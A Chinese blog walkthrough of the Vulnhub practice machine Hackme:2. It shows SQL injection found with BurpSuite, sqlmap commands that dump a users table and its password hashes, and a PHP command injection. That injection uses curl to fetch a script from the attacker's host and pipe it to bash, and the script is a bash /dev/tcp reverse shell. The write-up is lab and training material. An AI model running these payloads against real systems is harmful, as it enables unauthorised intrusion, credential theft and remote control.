Windy's little blog

一切生活中的杂七杂八, and I like CTF.

Vulnhub靶机Hackme:2的Walkthrough(数据库注入、命令注入)

    靶机下载地址https://www.vulnhub.com/entry/hackme-2,618/。有一段没玩注入漏洞的靶机了,所以记录一下Walkthrough。

    靶机运行后nmap扫描端口,发现只开了22和80。

    图片.png


    浏览器打开80端口后,来到一个登录界面,测试了几个弱口令未果。

    图片.png

     注册一个新用户,然后登录进行,来到一个搜索图书目录的界面。经过测试,如果什么都不输入,直接搜索,会显示全部的书籍。如果输入一个字母,则会出现以该字母开头的书籍。

    图片.png


    图片.png


    这是一个典型的数据库查询。接下来想到,用BurpSuite抓包,测试一下是否可以注入。打开BurpSuite,抓包后发送到Intruder,Payload选择SQL注入测试相关的字典(自带的Fuzzing -SQL Injection就可以)。

    图片.png


    检测结果显示,确实存在SQl漏洞。比如下图中高亮的x' or 1=1 or 'x'='y这一句,结果本来应该是空的(没有以字母x开头的书),但Response里显示查到所有的书籍。

图片.png


    接下来的工作交给sqlmap吧,效率高一些。所抓包的数据保存到post.txt中。

    图片.png


    sqlmap的命令如下,其中,要调用脚本将空格换为/**/,同时增加risk和level,否则检测不出来注入点。

 sqlmap -r post.txt  --tamper=space2comment --level 5 --risk 3

    图片.png

   

    很快,我们找到了关键的数据:

sqlmap -r post.txt  --tamper=space2comment --level 5 --risk 3 -D webapphacking -T users -C user,name,pasword --dump

    图片.png


    其中,我们关心的是superadmin的密码。随便找个在线网站可以对hash进行解密。

    图片.png



    使用superadmin的身份登录进行,来到一个管理界面。有一个上传功能,但没有能够绕过。

图片.png


    接着使用BurpSuite,看看下面搜索的两个参数有没有什么漏洞。Payload选择Fuzzing-full。

图片.png


    运行后,在Last Name搜索框发现了代码注入漏洞。

    图片.png


    接下来的方法参考了国外的资料,命令注入漏洞不能直接输入bash命令,而要用php里的system函数。同时,空格被过滤掉了,所以用${IFS}替代。首先在本机建立shell.sh文件,就是基于bash命令的反弹shell,内容如下:

bash -i >& /dev/tcp/192.168.53.100/1234 0>&1

    然后启动80服务器,在靶机上执行如下命令:

system('curl${IFS}http://192.168.53.100/shell.sh|bash')

    命令执行后,成功得到反弹shell。

    图片.png


   接下来就很简单了,进入home目录下,找到一个文件,直接运行就得到root权限。看来这个靶机的难点还是在前面,发现命令注入的部分,提权不是它的重点。

    图片.png


发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0